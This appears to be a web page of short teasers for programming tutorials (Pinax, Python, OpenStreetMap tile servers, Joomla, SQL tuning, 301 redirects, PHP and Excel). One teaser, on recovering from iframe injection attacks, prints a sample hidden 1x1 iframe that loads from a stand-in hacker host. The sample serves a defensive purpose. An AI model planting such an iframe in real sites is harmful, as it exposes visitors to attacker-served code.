Pinax Solutions

March 9th 9 a.m. – 12:20 p.m.Pinax (http://pinaxproject.com) is a platform built on top of Django for rapidly developing websites. This solutions based tutorial will instruct on installation, projects, applications, templates, settings, deployment, contributing back, and much more. The presenters are Pinax core developers and will run through practical hands-on examples. Questions will be taken throughout the tutorial. Abstract Pinax (http://pinaxproject.com) is a platform built on top of Django (http://djangoproject.com) for rapidly developing websites. This tutorial will instruct on Pinax installation, creating projects, leveraging applications, modification of templates, Pinax-specific settings,…

Read More

Python 101

March 9th 9 a.m. – 12:20 p.m.
This teaches the basics of Python for beginning and intermediate software developers. Most of the material is presented with the interactive interpreter shell instead of starting with a “Hello, world!” program. Each 10-15 minute section is a demonstration followed by hands-on exercises, some of which are meaty enough to keep advanced participants interested.

Read More

Building your own tile server using OpenStreetMap

March 9th 9 a.m. – 12:20 p.m.
This tutorial covers subjects of how the vector data becomes a set of raster tiles you actually see when using web map providers (such as Google Maps, Bing Maps, Mapquest and others), what is map projection and how it changes the look of the map, why WMS is hard and why one should probably not try to implement it. In general, this tutorial will try to explain how the map is created.
Read More

IFrame Injection Attack is most common and most basic cross site scripting (XSS) attacks

IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.{xtypo_code}<iframe src=”http://www.example-hacker-site.com/inject/?s=some-parameters” width=”1″ height=”1″ style=”visibility: hidden”></iframe>An example of a malicious IFRAME injection code{/xtypo_code} 1. Take your website down for a certain period It is recommended to take the website down as you do not…

Read More

How to develop simple component for Joomla! CMS 1.0

JOOMLA! 1.0 COMPONENT TUTORIAL – PART 1: FRONT-END
A tutorial explaining how simple component for Joomla! CMS 1.0 works, and how to create a component. One may wonder why to write about version 1.0 of Joomla!, when version 1.5 is almost ready (as of  January 2007). I think version 1.0 is still a very good framework: one can get to know how Joomla! works, extend the PHP knowledge, and prepare for Joomla! 1.5, which is a lot different and more advanced. And since there rather will not be upgrade possible from 1.0 to 1.5, just migration (hopefully a fast and easy one, thanks to great developers), there may be still a lot of existing web sites working on Joomla! 1.0  for quite some time.

Read More

SQL Optimization Tips and Index Optimization tips

 

All the tips provided on this website about indexing and SQL Optimization are general guidelines. As with any general guideline, there are exceptions. Because of this, it is a good idea to test out various indexing strategies for the most common queries run against your database
Read More

Redirecting the web page – 301 redirection

301 Redirect

301 redirect is the most efficient and Search Engine Friendly method for webpage redirection. It’s not that hard to implement and it should preserve your search engine rankings for that particular page. If you have to change file names or move pages around, it’s the safest option. The code “301” is interpreted as “moved permanently”.

Read More

Read and write Excel data with PHP Using XML support

Microsoft Office 2003 for the Microsoft Windows® operating system opened a whole new set of opportunities that non-Microsoft engineers have yet to realize. Of course, you had the usual set of new features. But the big new advance was the addition of XML file formats. With Office 2003, you can save your Microsoft Excel spreadsheet as XML and use the file just as you would the binary equivalent. The same goes for Microsoft Word.

Read More